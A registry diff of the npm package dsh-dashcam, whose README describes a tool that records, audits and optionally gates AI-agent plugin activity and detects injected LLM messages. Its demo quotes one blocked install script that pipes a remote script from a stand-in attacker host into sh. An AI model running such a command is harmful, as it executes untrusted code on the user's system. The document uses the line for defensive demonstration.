dsh-dashcam 0.0.0-stage → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +624 -2
- package/README.zh-CN.md +835 -0
- package/SECURITY.md +28 -0
- package/bin/dsh-dashcam.js +574 -0
- package/cordis.patch.yml +5 -0
- package/docs/COMPLIANCE.md +112 -0
- package/docs/ROLLOUT.md +150 -0
- package/docs/SPEC.md +441 -0
- package/docs/ghost-in-the-llm/README.md +21 -0
- package/docs/ghost-in-the-llm/dashcam-ingress-audit-design.md +223 -0
- package/docs/ghost-in-the-llm/dashcam-ingress-record-plan.md +418 -0
- package/docs/ghost-in-the-llm/ghost-message-forensics.md +214 -0
- package/docs/ghost-in-the-llm/ghost-message-third-party-review.md +174 -0
- package/docs/multiprocess.md +292 -0
- package/dsh-dashcam-host/README.md +177 -0
- package/dsh-dashcam-host/README.zh-CN.md +181 -0
- package/dsh-dashcam-host/lib/client.js +1206 -0
- package/dsh-dashcam-host/lib/index.js +971 -0
- package/dsh-dashcam-host/lib/ingress.js +218 -0
- package/dsh-dashcam-host/lib/panel.js +487 -0
- package/dsh-dashcam-host/package.json +29 -0
- package/examples/child-plugin.js +25 -0
- package/examples/compliant-plugin/index.js +30 -0
- package/examples/compliant-plugin/manifest.json +47 -0
- package/examples/demo-policy.json +33 -0
- package/examples/negative-plugin/index.js +20 -0
- package/examples/negative-plugin/manifest.json +36 -0
- package/package.json +73 -4
- package/src/autopsy/activation.js +90 -0
- package/src/autopsy/autopsy.js +222 -0
- package/src/contract/capabilities.js +437 -0
- package/src/contract/charter.js +230 -0
- package/src/contract/manifest.js +162 -0
- package/src/contract/two-key.js +89 -0
- package/src/errors.js +34 -0
- package/src/gates/index.js +289 -0
- package/src/gates/loadability.js +87 -0
- package/src/gates/report.js +78 -0
- package/src/gates/safety.js +194 -0
- package/src/gates/structure.js +161 -0
- package/src/governance/behavior.js +231 -0
- package/src/governance/blacklist.js +66 -0
- package/src/governance/metrics.js +249 -0
- package/src/governance/rollback.js +66 -0
- package/src/governance/rollout.js +88 -0
- package/src/host/child-host.js +216 -0
- package/src/host/local-host.js +441 -0
- package/src/index.js +261 -0
- package/src/policy.js +239 -0
- package/src/portrait/portrait.js +129 -0
- package/src/runtime/bridge.js +1281 -0
- package/src/runtime/derive.js +208 -0
- package/src/runtime/facade.js +40 -0
- package/src/runtime/guards.js +583 -0
- package/src/runtime/handles/fs.js +193 -0
- package/src/runtime/handles/index.js +30 -0
- package/src/runtime/handles/inject.js +129 -0
- package/src/runtime/handles/net.js +177 -0
- package/src/runtime/handles/proc.js +78 -0
- package/src/runtime/ingress.js +717 -0
- package/src/runtime/ipc/child.js +88 -0
- package/src/runtime/ipc/protocol.js +127 -0
- package/src/runtime/ledger.js +582 -0
- package/src/runtime/one-seal.js +122 -0
- package/src/runtime/redirects.js +102 -0
- package/src/signing/bundle.js +290 -0
- package/src/signing/trust.js +90 -0
- package/src/util/paths.js +187 -0
- package/src/util/stable.js +25 -0
- package/test/attack-surface.test.js +774 -0
- package/test/audit.test.js +636 -0
- package/test/autopsy.test.js +104 -0
- package/test/batch-guard.test.js +81 -0
- package/test/behavior.test.js +132 -0
- package/test/bypass.test.js +231 -0
- package/test/child-host.test.js +127 -0
- package/test/child.test.js +183 -0
- package/test/contract.test.js +157 -0
- package/test/gates.test.js +275 -0
- package/test/glob.test.js +83 -0
- package/test/governance.test.js +102 -0
- package/test/handle.test.js +132 -0
- package/test/helpers/fixtures.js +124 -0
- package/test/ingress.test.js +416 -0
- package/test/invariants.test.js +314 -0
- package/test/ledger-mac.test.js +134 -0
- package/test/mac-custody.test.js +86 -0
- package/test/mandate.test.js +129 -0
- package/test/metrics-batch.test.js +234 -0
- package/test/metrics-telemetry.test.js +217 -0
- package/test/net-proc-handle.test.js +183 -0
- package/test/observe.test.js +169 -0
- package/test/options.test.js +174 -0
- package/test/portrait-labels.test.js +72 -0
- package/test/portrait.test.js +65 -0
- package/test/protocol.test.js +105 -0
- package/test/quick-wins.test.js +245 -0
- package/test/review-fixes.test.js +260 -0
- package/test/review2-fixes.test.js +191 -0
- package/test/review3-fixes.test.js +226 -0
- package/test/review4-fixes.test.js +486 -0
- package/test/review5-fixes.test.js +301 -0
- package/test/review6-fixes.test.js +311 -0
- package/test/runtime.test.js +185 -0
- package/test/sandbox.test.js +236 -0
- package/test/signatures.test.js +170 -0
- package/test/symlink.test.js +288 -0
- package/test/three-lens-fixes.test.js +397 -0
- package/test/worker.test.js +73 -0
package/README.md
CHANGED
|
@@ -1,3 +1,625 @@
|
|
|
1
|
-
#
|
|
1
|
+
# dsh-dashcam
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
**English** | [中文](README.zh-CN.md)
|
|
4
|
+
|
|
5
|
+
    
|
|
6
|
+
|
|
7
|
+
**dsh-dashcam is a dashcam for your AI plugins — it records what they actually do, it does not decide what they may do.**
|
|
8
|
+
|
|
9
|
+
Install it with zero configuration and every observed action — files read, hosts contacted, commands run, tools invoked — lands in a tamper-evident JSONL ledger (SHA-256 hash chain, optional HMAC seal), each line stamped with which plugin did it and whether it happened under a contract (`profiled: true`) or outside any (`profiled: false`, zero-contract mode). Nothing is blocked, and no plugin author has to write or declare anything — being observed is not a burden on the observed.
|
|
10
|
+
|
|
11
|
+
**What changes when you install it** (default mount, zero contract):
|
|
12
|
+
|
|
13
|
+
| | Before | After |
|
|
14
|
+
|---|---|---|
|
|
15
|
+
| Plugin activity | invisible — you learn about it when something breaks | every observed tool call recorded, per call |
|
|
16
|
+
| Attribution | guesses | `plugin` / `pluginVersion` on every line |
|
|
17
|
+
| Under a contract? | unknowable | `profiled` / `manifestHash` on every line |
|
|
18
|
+
| Tamper evidence | none | hash chain; offline re-verification of every line |
|
|
19
|
+
| Blocking | — | none. dashcam mode never denies a call |
|
|
20
|
+
|
|
21
|
+
**30 seconds, zero contract** — default mount, empty `config`. While you work normally, this lands in `~/.dsh/dsh-dashcam/ledger.jsonl` (fields elided):
|
|
22
|
+
|
|
23
|
+
```jsonl
|
|
24
|
+
{"v":4,"plugin":"dsh-dashcam-host","capability":"fs","action":"fs.read","scope":{"path":"C:/repo/src/app.ts"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null}
|
|
25
|
+
{"v":4,"plugin":"dsh-dashcam-host","capability":"proc","action":"proc.spawn","scope":{"command":"git"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null}
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
If you later want judgment on top of recording, add `config.requests` (what the plugin may do) and `config.grants` (what the host grants) — the same chain then runs Two-Key: declared + granted → allow, otherwise an advisory would-deny record (or a real deny under `enforce: true`). Recording and judging share one ledger and one hash chain, so upgrading never forks your audit trail.
|
|
29
|
+
|
|
30
|
+
**Honesty rules of the road:**
|
|
31
|
+
|
|
32
|
+
- **It does not block.** Recording failures never deny a call: fail-open by default, with a loud warning and a best-effort `ledger_fail` marker entry. (`policy.ledger.failMode: 'closed'` restores refuse-to-run if you want that.)
|
|
33
|
+
- **It does not lie.** `decision: deny` is only written when something was actually denied; `intercepted: true` means an undeclared call was actually intercepted, not hypothetically.
|
|
34
|
+
- **It says what it cannot see.** Unmapped tools are recorded as observed with an input preview; the mount record states which mode the chain is in. No silent blind spots presented as coverage.
|
|
35
|
+
|
|
36
|
+
**If you are not comfortable with a plugin watching plugin activity, do not install it.** This is the primary advice, not a disclaimer: the ledger is a high-value target (it knows exactly which files were touched and when), the host adapter runs inside your agent's main process, and "it only records" is precisely why it sees everything. Verify the clone, keep the ledger out of backups you do not trust, set an HMAC key (`ledgerMacKey`) if tamper-resistance matters — or skip the install; the dashcam works hardest at earning that skepticism.
|
|
37
|
+
|
|
38
|
+
> **TL;DR — one command, complete plugin**: `dsh plugin --profile web add dsh-dashcam`, restart DeepSeek Harness — done. The same works with `--profile desktop`. By default it only observes and never blocks a call. Details in [Install](#install-dsh-host).
|
|
39
|
+
|
|
40
|
+
Underneath the dashcam sits the machinery built up over previous versions: install-time gates (structure / safety / signature), capability portraits, offline autopsy, ingress reconciliation. They still run — but in dashcam mode their output is evidence and labels, not verdicts.
|
|
41
|
+
|
|
42
|
+
Zero third-party dependencies, Node.js >= 20 (CommonJS).
|
|
43
|
+
|
|
44
|
+
## Appendix: the pre-dashcam machinery (gates / signing / Two-Key)
|
|
45
|
+
|
|
46
|
+
Sections A–F below describe the enforcement machinery built up before the 1.11.0 pivot to recording. **It still works and stays maintained (bug fixes only), but no new features go into it.** The product is the dashcam — everything above this point. Read the appendix only if you want judgment on top of recording (`config.requests` / `config.grants`, Two-Key) or the install-time gate pipeline; the demo below is still runnable as-is.
|
|
47
|
+
|
|
48
|
+
### Appendix A · Demo: a malicious plugin gets blocked at install time
|
|
49
|
+
|
|
50
|
+
Real output from the installation gates running on the bundled [negative example](examples/negative-plugin) — a manifest whose patch path escapes the plugin directory and whose install script pipes a remote script into `sh` (fields elided):
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
$ node bin/dsh-dashcam.js gates examples/negative-plugin --skip-signature
|
|
54
|
+
{
|
|
55
|
+
"ok": false,
|
|
56
|
+
"blocked": true,
|
|
57
|
+
"plugin": "com.example.leaky",
|
|
58
|
+
"securityLabels": ["SignatureSkipped"],
|
|
59
|
+
...
|
|
60
|
+
"formatted": [
|
|
61
|
+
"[structure] manifest.json field=patches[0].path — patch 路径越出插件目录",
|
|
62
|
+
"[structure] manifest.json field=scripts.install — 安装脚本不在白名单:curl http://cdn.evil.example/install.sh | sh"
|
|
63
|
+
],
|
|
64
|
+
"labelLines": [
|
|
65
|
+
"[SignatureSkipped] — 调用方跳过验签,签名状态未知"
|
|
66
|
+
]
|
|
67
|
+
}
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
The pipeline fails fast: the `structure` gate blocks the install before signature/safety/contract stages ever run. Runtime messages are localized (Chinese); every failure points at an exact field and file.
|
|
71
|
+
|
|
72
|
+
### Appendix B · Core model
|
|
73
|
+
|
|
74
|
+
```
|
|
75
|
+
manifest 声明 ─┐
|
|
76
|
+
├─ Two-Key(交集)─→ 守卫链 ─→ 放行 / 拒绝 ─→ Ledger(哈希链)
|
|
77
|
+
宿主授予 ─────┘ ↑
|
|
78
|
+
One-Seal / 黑名单 / 完整性
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
- **Default deny-all**: host `grants` is empty by default.
|
|
82
|
+
- **Non-invasive protection**: `policy.enforcement.mode` defaults to `advisory` — gates run first, then emit security portrait labels (`Untrusted` / `SignatureSkipped` / `Quarantined` / `ReviewRequired` / `Broken` / `Verified`); only malicious scripts and emergency blacklists block installation. `mode: 'required'` or the enterprise channel restores the "refuse to install" semantics.
|
|
83
|
+
- **Legacy default config**: a manifest without a `dashcam` field is still parsed, auto-generating `{ level: 'legacy', quarantine: true }`; no declaration means no capability (the Two-Key intersection is empty), and the enterprise channel still refuses.
|
|
84
|
+
- **Capability surface**: `fs.*`, `net.outbound`, `net.listen`, `proc.spawn`, `proc.signal`, `env.*`, `cred.*`. Credential paths and environment variables are automatically escalated to `cred.*`.
|
|
85
|
+
- **Scope**: path globs, `host:port`, environment-variable prefix wildcards, command basenames, port subsets, signal-target whitelists. Full semantics in [docs/SPEC.md](docs/SPEC.md).
|
|
86
|
+
- **Audit**: JSONL append + SHA-256 hash chain, fixed fields, offline re-computation line by line; `intercepted=true` separately records "undeclared API calls actually intercepted", directly retrievable via `Ledger.interceptions()`.
|
|
87
|
+
- **Ingress observation**: request/inbound/anomaly records with `capability='llm.ingress'` share the chain and signature verification with judgment records, but are counted separately in `metrics` so they do not dilute the allow rate or interception rate; `ingress --find` only searches sampled heads (unsampled messages are not covered).
|
|
88
|
+
|
|
89
|
+
## 1.11.0 Rename: dsh-covenant → dsh-dashcam
|
|
90
|
+
|
|
91
|
+
Starting from 1.11.0, this project is renamed **dsh-dashcam** (the product positioning narrows from "contract layer" to "plugin dashcam": capability declaration + runtime recording + verifiable ledger). The internal capability model name stays *dashcam (formerly the covenant capability model)*; the invariant semantics in `docs/SPEC.md` are unchanged.
|
|
92
|
+
|
|
93
|
+
**Migration checklist (upgrading from 1.10.x)**
|
|
94
|
+
|
|
95
|
+
| Item | Old | New |
|
|
96
|
+
|---|---|---|
|
|
97
|
+
| npm package name | `dsh-covenant` | `dsh-dashcam` (never published to npm, no dependency change needed) |
|
|
98
|
+
| CLI | `dsh-covenant` | `dsh-dashcam` (the old command remains in `package.json` `bin` as an alias pointing to the same script) |
|
|
99
|
+
| Host package | `dsh-covenant-host` | `dsh-dashcam-host` |
|
|
100
|
+
| Host config entry | `- id: dsh-covenant-host` | `- id: dsh-dashcam-host` (`config` content unchanged) |
|
|
101
|
+
| Default ledger path | `~/.dsh/dsh-covenant/ledger.jsonl` | `~/.dsh/dsh-dashcam/ledger.jsonl` |
|
|
102
|
+
| Signature format field | `dsh-covenant/signatures@1` | `dsh-dashcam/signatures@1` |
|
|
103
|
+
| Contract spec | `dsh-covenant/1` | `dsh-dashcam/1` |
|
|
104
|
+
|
|
105
|
+
- **Automatic ledger migration**: on the host's first startup, if the new path does not exist and the old one does, the old ledger (including `.guard.log`) is moved in place to the new directory and the log prints `账本迁移` ("ledger migrated"); profiles that explicitly configure `ledgerPath` are unaffected.
|
|
106
|
+
- **Signatures must be re-signed**: the `spec` / `FORMAT` fields changed, so signature bundles produced by 1.10.x fail verification under 1.11.0 (the signature fields are part of the contract; no dual-format compatibility).
|
|
107
|
+
- **History is not recomputed**: ledger content and the hash chain are preserved as-is; old values inside `pluginVersion` are kept as history only.
|
|
108
|
+
|
|
109
|
+
## 1.12.0 New: ingress audit (LLM request vs. inbound message reconciliation)
|
|
110
|
+
|
|
111
|
+
The 1.11.0 observation surface is "local execution": tools, files, processes, network. A ghost message produces none of those actions, so a clean ledger is expected. 1.12.0 adds two more metadata streams, landing on the same hash chain:
|
|
112
|
+
|
|
113
|
+
| `action` | Records |
|
|
114
|
+
| --- | --- |
|
|
115
|
+
| `llm.request` | Per request: message count, overall fingerprint `messages.hash`, `added/removed/changed` vs. the previous request in the same session, samples of new messages (role / `source.kind` / length / head80 / sha256 / attachment identity), tool count and fingerprint |
|
|
116
|
+
| `llm.inbound` | Every input that actually enters the session: `messageId` / `source.kind` / length / sha256 / head80 |
|
|
117
|
+
| `llm.anomaly` | Reconciliation failures: `added_user_without_inbound` / `dropped_inbound`; records only, never blocks |
|
|
118
|
+
|
|
119
|
+
Key semantics:
|
|
120
|
+
|
|
121
|
+
- **Four-quadrant test**: only "no inbound + present in request" is injection; "absent on both sides" is model-fabricated and **does not alert**. The latter is exactly the cell where the ghost event fell — it must have an explicit regression test, not rely on someone remembering.
|
|
122
|
+
- **Whitelist by `source.kind`, not by role**: injected messages such as `runtime-context` / `compaction` / `plugin:memory` / `skill-catalog` also carry role `user`; a role-based whitelist would false-positive immediately.
|
|
123
|
+
- **Observation records are not judgments**: `capability='llm.ingress'` does not count toward `requests / allows / denies / interceptionRate`; it is reported separately as `ingressRequests` / `ingressInbound` / `ingressAnomalies`. `decision` is always `allow`; anomalies never write `deny` or `intercepted`.
|
|
124
|
+
- **Metadata only**: message bodies never land in the ledger; with `headBytes: 0` even the head is omitted. A single record is bounded by `maxLineBytes`.
|
|
125
|
+
- **fail-open**: recording failures go to the degraded queue + `.guard.log` only; requests are unaffected.
|
|
126
|
+
- **Wiring (verified against local DSH)**: requests hook the `llm/stream` waterfall (listeners must `return next()`); inbound comes from `user/message` on `session/event`. `agent/request` (cannot modify messages) and `agent/inbox/spliced` (delivery events whose entries can be cancelled) are not used.
|
|
127
|
+
- **First request builds the baseline**: when the host is attached mid-session, all historical messages count as "added" with no inbound to compare against, so the first request does not alert.
|
|
128
|
+
- **Known boundary**: local egress can only prove "does X exist in the messages the client sent out". Server-side prefixes appended after the client are out of observation scope; `coverage.unknown` is an auxiliary signal only, not proof.
|
|
129
|
+
|
|
130
|
+
## Quick start
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
npm test # Full suite: contracts, runtime, bypasses, gates, signing, portraits, autopsy, governance, audit, admission
|
|
134
|
+
node bin/dsh-dashcam.js help
|
|
135
|
+
node bin/dsh-dashcam.js verify-ledger ~/.dsh/dsh-dashcam/ledger.jsonl # offline chain re-verification (host process not required)
|
|
136
|
+
node bin/dsh-dashcam.js behavior ~/.dsh/dsh-dashcam/ledger.jsonl # per-plugin behavior portrait: what was actually read / contacted / run
|
|
137
|
+
node bin/dsh-dashcam.js rotate ~/.dsh/dsh-dashcam/ledger.jsonl --max-bytes 52428800 # archive the current segment, link the new one via head/tail hashes
|
|
138
|
+
node bin/dsh-dashcam.js redact ~/.dsh/dsh-dashcam/ledger.jsonl --out share.jsonl # fold $HOME paths before sharing (attribution fields preserved)
|
|
139
|
+
node bin/dsh-dashcam.js ingress ~/.dsh/dsh-dashcam/ledger.jsonl --session <id>
|
|
140
|
+
node bin/dsh-dashcam.js ingress ~/.dsh/dsh-dashcam/ledger.jsonl --find "状态栏"
|
|
141
|
+
node bin/dsh-dashcam.js draft ~/.dsh/dsh-dashcam/ledger.jsonl # reverse-engineer a requests draft from observed behavior (human convergence required)
|
|
142
|
+
node bin/dsh-dashcam.js bench --n 10000 # per-call overhead of being recorded (guarded vs unpatched fs)
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
> **Sharing the ledger**: records contain absolute paths (and command metadata). Run `redact` before sharing; it folds your home prefix to `$HOME` and rebuilds the chain as a fresh verifiable ledger while keeping `plugin` / `pluginVersion` / `profiled` — who did it stays, where you live does not.
|
|
146
|
+
|
|
147
|
+
> **What being recorded costs**: run `node bin/dsh-dashcam.js bench` after any bridge change. On a Windows dev machine (1.12.x), one recorded `fs` call costs roughly **1.1–1.5 ms extra** (guard judgment + one ledger line per call; the synchronous ledger write dominates; raw `fs` is 0.04–0.5 ms). Numbers are machine-dependent — measure, don't quote.
|
|
148
|
+
|
|
149
|
+
## Directory
|
|
150
|
+
|
|
151
|
+
```
|
|
152
|
+
src/
|
|
153
|
+
contract/ capability taxonomy, manifest parsing, Two-Key, Charter/Sieve
|
|
154
|
+
runtime/ derivation, guard chain, One-Seal, Ledger, Bridge
|
|
155
|
+
handles/ capability handles (closed fs facade)
|
|
156
|
+
gates/ structure, safety, loadability, installation pipeline
|
|
157
|
+
signing/ Ed25519 dual signatures, trust table
|
|
158
|
+
portrait/ capability portrait cards (three tiers)
|
|
159
|
+
autopsy/ offline autopsy (six sections) + bundle patch combos
|
|
160
|
+
governance/ three-tier rollback, blacklist, monthly metrics, circuit breaker
|
|
161
|
+
host/ LocalHost: install → register → invoke → uninstall
|
|
162
|
+
bin/ CLI
|
|
163
|
+
dsh-dashcam-host/ host adapter: plugin entry (judgment chain), browser panel, build script
|
|
164
|
+
docs/ specs, rollout cadence, compliance
|
|
165
|
+
examples/ positive package, negative package, demo policy
|
|
166
|
+
test/ contracts, runtime, bypasses, gates, signing, portraits, autopsy, governance, audit, admission
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
## Host integration
|
|
170
|
+
|
|
171
|
+
```js
|
|
172
|
+
const { activate } = require('dsh-dashcam/core');
|
|
173
|
+
|
|
174
|
+
const plugin = activate({
|
|
175
|
+
manifest, // parsed manifest
|
|
176
|
+
grants, // host grant entries; default empty = deny-all
|
|
177
|
+
policy, // see src/policy.js for the default policy
|
|
178
|
+
ledgerPath: '.dsh-ledger.jsonl',
|
|
179
|
+
pluginRoot: '/path/to/plugin',
|
|
180
|
+
registerPreExecute: (check) => host.use(check), // host pre-execute hook
|
|
181
|
+
});
|
|
182
|
+
|
|
183
|
+
// Uninstall
|
|
184
|
+
plugin.deactivate();
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
`activate` installs native module hooks at the guard entrance (covering in-process `fs/net/child_process/env` calls) and registers the pre-execute judgment function. If the host only wants judgments without patching, pass `patchBuiltins: false`.
|
|
188
|
+
|
|
189
|
+
## Install (DSH host)
|
|
190
|
+
|
|
191
|
+
One command installs the complete plugin — judgment chain, ledger, and the Agent Dashcam browser panel:
|
|
192
|
+
|
|
193
|
+
```bash
|
|
194
|
+
dsh plugin --profile web add dsh-dashcam # or: dsh plugin --profile desktop add dsh-dashcam
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
Restart DeepSeek Harness after installing. **By default the dashcam only observes and never blocks**: every mapped tool call is recorded to the ledger, nothing is denied — judgment on top of recording is opt-in (`config.requests` / `config.grants` + `enforce: true`).
|
|
198
|
+
|
|
199
|
+
**Supported profiles**: `desktop` / `web`. The judgment chain and ledger run in the host main process on both; the browser panel targets the web client (`dsh.client.platform: web` in the shipped package).
|
|
200
|
+
|
|
201
|
+
**What you should see.** On startup the host log (`%APPDATA%\@deepseek-ai\dsh-desktop\logs`) shows:
|
|
202
|
+
|
|
203
|
+
```
|
|
204
|
+
[dsh-dashcam] 判定链已挂载(event=tools/pre-execute,mode=unprofiled,enforceUnmapped=false,commandlineArchive=hash,patchBuiltins=false,ledger=C:\Users\you\.dsh\dsh-dashcam\ledger.jsonl,requests=0,grants=0)
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
Every observed tool call then lands in `~/.dsh/dsh-dashcam/ledger.jsonl` (fields elided):
|
|
208
|
+
|
|
209
|
+
```jsonl
|
|
210
|
+
{"v":4,"plugin":"dsh-dashcam-host","pluginVersion":"1.14.0","capability":"fs","action":"fs.read","scope":{"path":"C:/repo/src/app.ts"},"decision":"allow","ruleId":"unprofiled","profiled":false,"manifestHash":null,"seq":1,"ts":"2026-11-09T14:09:14.822Z","prevHash":"GENESIS","hash":"b504c225…"}
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
The chain can be re-verified offline at any time — no host process required:
|
|
214
|
+
|
|
215
|
+
```bash
|
|
216
|
+
npx dsh-dashcam verify-ledger ~/.dsh/dsh-dashcam/ledger.jsonl
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
```json
|
|
220
|
+
{
|
|
221
|
+
"ok": true,
|
|
222
|
+
"records": 2,
|
|
223
|
+
"lastSeq": 2,
|
|
224
|
+
"head": "6003e9f193a63198cfbc2039f296029d669d98337cb52c213da5e21238f5300b",
|
|
225
|
+
"macVerified": false,
|
|
226
|
+
"errors": []
|
|
227
|
+
}
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
**Uninstall** is one command too: `dsh plugin --profile web remove dsh-dashcam` — the judgment chain is detached and no hooks remain.
|
|
231
|
+
|
|
232
|
+
**Upgrading from a link install (pre-2.0)**: remove the `"dsh-dashcam-host": "link:…"` dependency from the profile's `package.json` and the `dsh-dashcam-host` entry in `dsh.profile.bundles`, then install with the one-liner above. The default ledger path is unchanged (`~/.dsh/dsh-dashcam/ledger.jsonl`); existing records and their hash chain are preserved as-is — nothing to migrate by hand.
|
|
233
|
+
|
|
234
|
+
The adapter package defaults to `patchBuiltins: false`: the host is an Electron main process and the Bridge is a process-level patch; installing it directly would take over the app's own fs/net, so by default only the pre-execute judgment function is registered. Set `patchBuiltins: true` explicitly in the cordis config when real interception is needed (semantics above in "Host integration").
|
|
235
|
+
|
|
236
|
+
## CLI
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Generate publisher/reviewer keys and the trust table
|
|
240
|
+
node bin/dsh-dashcam.js keygen ./keys
|
|
241
|
+
|
|
242
|
+
# Dual signature (publisher + reviewer)
|
|
243
|
+
node bin/dsh-dashcam.js sign ./plugin --plugin com.example.plugin --version 1.0.0 \
|
|
244
|
+
--publisher-key keys/publisher.private.pem --publisher-key-id publisher-2026a \
|
|
245
|
+
--reviewer-key keys/reviewer.private.pem --reviewer-key-id reviewer-2026a
|
|
246
|
+
|
|
247
|
+
# Verify signature (rebuild manifest → keyId → publisher → reviewer)
|
|
248
|
+
node bin/dsh-dashcam.js verify ./plugin --trust keys/trust.json
|
|
249
|
+
|
|
250
|
+
# Installation gates (blacklist → signature → structure → contract → Sieve → safety → loadability)
|
|
251
|
+
node bin/dsh-dashcam.js gates ./plugin --trust keys/trust.json --host --policy examples/demo-policy.json
|
|
252
|
+
node bin/dsh-dashcam.js gates examples/negative-plugin --skip-signature # negative package: malicious script blocked (ok=false)
|
|
253
|
+
|
|
254
|
+
# Capability portrait / offline autopsy / metrics / blacklist / rollout
|
|
255
|
+
node bin/dsh-dashcam.js portrait ./plugin
|
|
256
|
+
node bin/dsh-dashcam.js autopsy ./plugin --profile profile.json --patch patch.json
|
|
257
|
+
node bin/dsh-dashcam.js metrics .dsh-ledger.jsonl --events events.json
|
|
258
|
+
node bin/dsh-dashcam.js blacklist blacklist.json add com.example.evil 紧急下架
|
|
259
|
+
node bin/dsh-dashcam.js rollout metrics.json
|
|
260
|
+
|
|
261
|
+
# From observation to contract: reverse-engineer a requests draft, then measure the cost
|
|
262
|
+
node bin/dsh-dashcam.js draft ~/.dsh/dsh-dashcam/ledger.jsonl --manifest ./plugin # skip families/capabilities already declared
|
|
263
|
+
node bin/dsh-dashcam.js bench --n 10000
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
Failure reports pinpoint the field and file line, e.g.:
|
|
267
|
+
|
|
268
|
+
```
|
|
269
|
+
[structure] manifest.json field=patches[0].path — patch 路径越出插件目录
|
|
270
|
+
[safety] index.js:14 field=dashcam.capabilities.requests — 代码使用 net.outbound,但 manifest 未声明
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
### Appendix C · Example packages
|
|
274
|
+
|
|
275
|
+
- [examples/compliant-plugin](examples/compliant-plugin): declares fs/net/env, complete Charter, passes all gates (paired with the grant set in `examples/demo-policy.json`).
|
|
276
|
+
- [examples/negative-plugin](examples/negative-plugin): out-of-bounds patch, empty reason, non-whitelisted install script, undeclared `proc.spawn` / `cred.read` / `net.outbound`. Used to verify the contract layer and the gates.
|
|
277
|
+
|
|
278
|
+
Full walkthrough for the positive package:
|
|
279
|
+
|
|
280
|
+
```bash
|
|
281
|
+
node bin/dsh-dashcam.js keygen ./keys
|
|
282
|
+
node bin/dsh-dashcam.js sign examples/compliant-plugin --plugin com.example.compliant --version 1.0.0 \
|
|
283
|
+
--publisher-key keys/publisher.private.pem --publisher-key-id publisher-2026a \
|
|
284
|
+
--reviewer-key keys/reviewer.private.pem --reviewer-key-id reviewer-2026a
|
|
285
|
+
node bin/dsh-dashcam.js gates examples/compliant-plugin --trust keys/trust.json \
|
|
286
|
+
--host --policy examples/demo-policy.json
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
## Security boundaries (must-read)
|
|
290
|
+
|
|
291
|
+
The Bridge protects **post-installation** in-process calls; it is not a sandbox. Coverage is patch-based: `bridge.coverage()` returns the `guarded` list and `knownGaps` — treat the latter as the upper bound of the capability list, not noise.
|
|
292
|
+
|
|
293
|
+
```js
|
|
294
|
+
const report = bridge.coverage();
|
|
295
|
+
// { entries: 110, guarded: ['fs.open', 'fs.openSync', 'net.Socket#connect', ...],
|
|
296
|
+
// knownGaps: ['worker_threads / vm / native extensions', 'file descriptors opened before the Bridge was installed', ...] }
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
- Function references cached/destructured by the plugin before the Bridge is installed are not protected; the host should call plugins only through controlled entry points after installing the Bridge.
|
|
300
|
+
- Native extensions, `worker_threads`, `vm`-generated code, and direct syscalls are outside Node-level interception.
|
|
301
|
+
- Static scanning produces "scan results", not security proofs; the portrait card always shows `未扫到 ≠ 安全` ("not scanned ≠ safe").
|
|
302
|
+
- Integrity checks can detect "a wrapped function was replaced"; they cannot detect "an entry that was never wrapped".
|
|
303
|
+
- **Handle admission is the gate**: once `open` passes, fd-level calls go straight through — so do not assume "wrapping readFileSync secures file reads".
|
|
304
|
+
- **The load window is residual risk, not a feature**: out-of-bounds calls from plugin top-level code during `require` are rewritten to allow and recorded as `deny` (`intercepted=true`) but not interrupted — a one-time trust concession reserved for legacy plugins; reads that already happened during installation cannot be recalled. Under the default combination where unsigned consumers are allowed through, that means a new plugin's top-level code gets one out-of-bounds opportunity. Close it with `policy.enforcement.observeLoadWindow = false` (out-of-bounds during load rejects installation outright); with `strictPatch = true` the window is force-closed and cannot be re-opened via config; if out-of-bounds allows occurred during load, a warning fires (`stats.observed > 0`).
|
|
305
|
+
|
|
306
|
+
### Appendix D · Capability handles: trading patches for a small world (1.2.0 experimental)
|
|
307
|
+
|
|
308
|
+
The Bridge can only achieve "everything I thought of is wrapped". To genuinely achieve "not declared, therefore impossible", invert the model: do not give the plugin the global API, give it a restricted object instead.
|
|
309
|
+
|
|
310
|
+
```js
|
|
311
|
+
const { createCapabilityHandles } = require('dsh-dashcam/core');
|
|
312
|
+
|
|
313
|
+
const handles = createCapabilityHandles({ guard });
|
|
314
|
+
await handles.fs.promises.readFile('cache.json'); // passes the guard chain
|
|
315
|
+
handles.fs.readSync; // undefined: the method does not exist
|
|
316
|
+
handles.fs.coverage(); // { closed: true, methods: [...] }
|
|
317
|
+
```
|
|
318
|
+
|
|
319
|
+
- The method set is a hand-written closed set with no `knownGaps` — what does not exist, does not exist.
|
|
320
|
+
- Accepts paths only, not fds; `open()` returns a restricted `FileHandle` with no `fd` property.
|
|
321
|
+
- `flags` determine the capability surface (`r+` needs read+write); `copyFile` / `rename` judge both read and write.
|
|
322
|
+
- The object is frozen; plugins cannot swap out the guard.
|
|
323
|
+
|
|
324
|
+
Only `fs` is covered today. `net` / `proc` extend along the same pattern: one method, one `guard.enforce`.
|
|
325
|
+
|
|
326
|
+
### Appendix E · Capability injection: optionally make require('fs') return handles (1.5.0)
|
|
327
|
+
|
|
328
|
+
